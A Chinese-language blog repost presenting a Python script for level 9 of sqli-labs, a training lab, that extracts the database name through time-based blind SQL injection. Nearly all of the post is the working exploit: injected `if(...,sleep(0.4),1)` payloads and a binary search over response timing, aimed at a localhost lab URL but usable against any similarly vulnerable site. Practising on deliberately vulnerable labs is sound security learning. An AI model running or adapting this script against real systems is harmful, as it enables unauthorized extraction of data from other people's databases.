sqli-labs 第九关 基于时间盲注 python 脚本
2022/1/25 19:07:17
本文主要是介绍sqli-labs 第九关 基于时间盲注 python 脚本,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
# @Author:Mirror import time import requests db_len = 0 def get_schema_len (url): len = 0 left = 0 right = 20 while (left <= right): mid = left + (right - left)//2; data = "id=1' and if(length(database())>{},sleep(0.4),1)--+".format(mid) one = time.time() res = requests.get(url,data) # print (res.url) two = time.time() if abs(two - one) >= (0.4): left = mid + 1 else: right = mid - 1 len = left print (len) return len def get_schema_name(url): len = get_schema_len(url) db_name = '' for i in range(1,len+1): left = 0 right = 128 while(left <= right): mid = left + (right - left)//2 data = "id=1' and if (substr(database(),{},1)>'{}',sleep(0.4),1)--+".format(i,chr(mid)) one = time.time() res = requests.get(url,data) print (res.url) two = time.time() if abs(two - one) >=0.4: left = mid + 1 else : right = mid - 1 db_name+=chr(left) print (db_name) url = "http://localhost:800/sqli-labs/Less-9/" get_schema_name(url)
以上是一部分,要学会自己编写脚本喔!库名好像都是大写
这篇关于sqli-labs 第九关 基于时间盲注 python 脚本的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-14获取参数学习:Python编程入门教程
- 2024-11-14Python编程基础入门
- 2024-11-14Python编程入门指南
- 2024-11-13Python基础教程
- 2024-11-12Python编程基础指南
- 2024-11-12Python基础编程教程
- 2024-11-08Python编程基础与实践示例
- 2024-11-07Python编程基础指南
- 2024-11-06Python编程基础入门指南
- 2024-11-06怎么使用python 计算两个GPS的距离功能-icode9专业技术文章分享